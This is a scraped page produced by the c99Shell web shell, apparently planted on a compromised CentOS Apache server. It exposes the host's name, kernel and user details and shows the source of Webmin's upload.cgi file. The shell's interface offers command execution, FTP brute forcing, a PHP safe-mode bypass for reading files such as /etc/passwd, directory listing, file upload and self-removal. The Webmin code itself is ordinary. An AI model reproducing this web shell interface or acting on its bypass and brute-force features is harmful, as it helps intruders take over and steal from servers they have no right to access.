!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/file/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upload.cgi (2.16 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# upload.cgi
# Upload a file

require './file-lib.pl';
$disallowed_buttons{'upload'} && &error($text{'ebutton'});
&popup_header();
&ReadParse(\%getin, "GET");
$upid = $getin{'id'};
&ReadParseMime($upload_max, \&read_parse_mime_callback, [ $upid ]);

$realdir = &unmake_chroot($in{'dir'});
if (!$in{'file_filename'}) {
    print "<p><b>$text{'upload_efile'}</b><p>\n";
    }
elsif (!-d $realdir) {
    print "<p><b>$text{'upload_edir'}</b><p>\n";
    }
elsif ($running_as_root && !defined(getpwnam($in{'user'}))) {
    print "<p><b>$text{'upload_euser'}</b><p>\n";
    }
else {
    $in{'file_filename'} =~ /([^\\\/]+)$/;
    $path = "$in{'dir'}/$1";
    $realpath = "$realdir/$1";
    if (-e $realpath) {
        # File exists .. ask the user if he is sure
        &switch_acl_uid($running_as_root ? $in{'user'} : undef);
        $temp = &tempname();
        &open_tempfile(TEMP, ">$temp");
        if ($dostounix == 1 && $in{'dos'}) {
            $in{'file'} =~ s/\r\n/\n/g;
            }
        &print_tempfile(TEMP, $in{'file'});
        &close_tempfile(TEMP);
        print "<center>\n";
        print &ui_form_start("upload2.cgi");
        foreach $i (keys %prein) {
            print &ui_hidden($i, $prein{$i});
            }
        print &ui_hidden("dir", $in{'dir'});
        print &ui_hidden("path", $path);
        print &ui_hidden("temp", $temp);
        print &ui_hidden("zip", $in{'zip'});
        print &ui_hidden("user", $in{'user'});
        print &text('upload_already', "<tt>$path</tt>"),"<p>\n";
        print &ui_form_end([ [ "yes", $text{'yes'} ],
                     [ "no", $text{'no'} ] ]);
        print "</form>\n";
        print "</center>\n";
        }
    else {
        # Go ahread and do it!
        &webmin_log("upload", undef, $path);
        &switch_acl_uid($running_as_root ? $in{'user'} : undef);
        if ($access{'ro'} || !&can_access($path)) {
            print "<p><b>",&text('upload_eperm', $path),"</b><p>\n";
            }
        elsif (-l $path && !&must_follow($realpath)) {
            print "<p><b>",&text('upload_elink', $path),"</b><p>\n";
            }
        elsif (!&open_tempfile(FILE, ">$realpath", 1)) {
            print "<p><b>",&text('upload_ewrite', $path, $!),"</b><p>\n";
            }
        else {
            if ($dostounix == 1 && $in{'dos'}) {
                $in{'file'} =~ s/\r\n/\n/g;
                }
            &print_tempfile(FILE, $in{'file'});
            &close_tempfile(FILE);
            &post_upload($path, $in{'dir'}, $in{'zip'});
            }
        }
    }

&popup_footer();

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--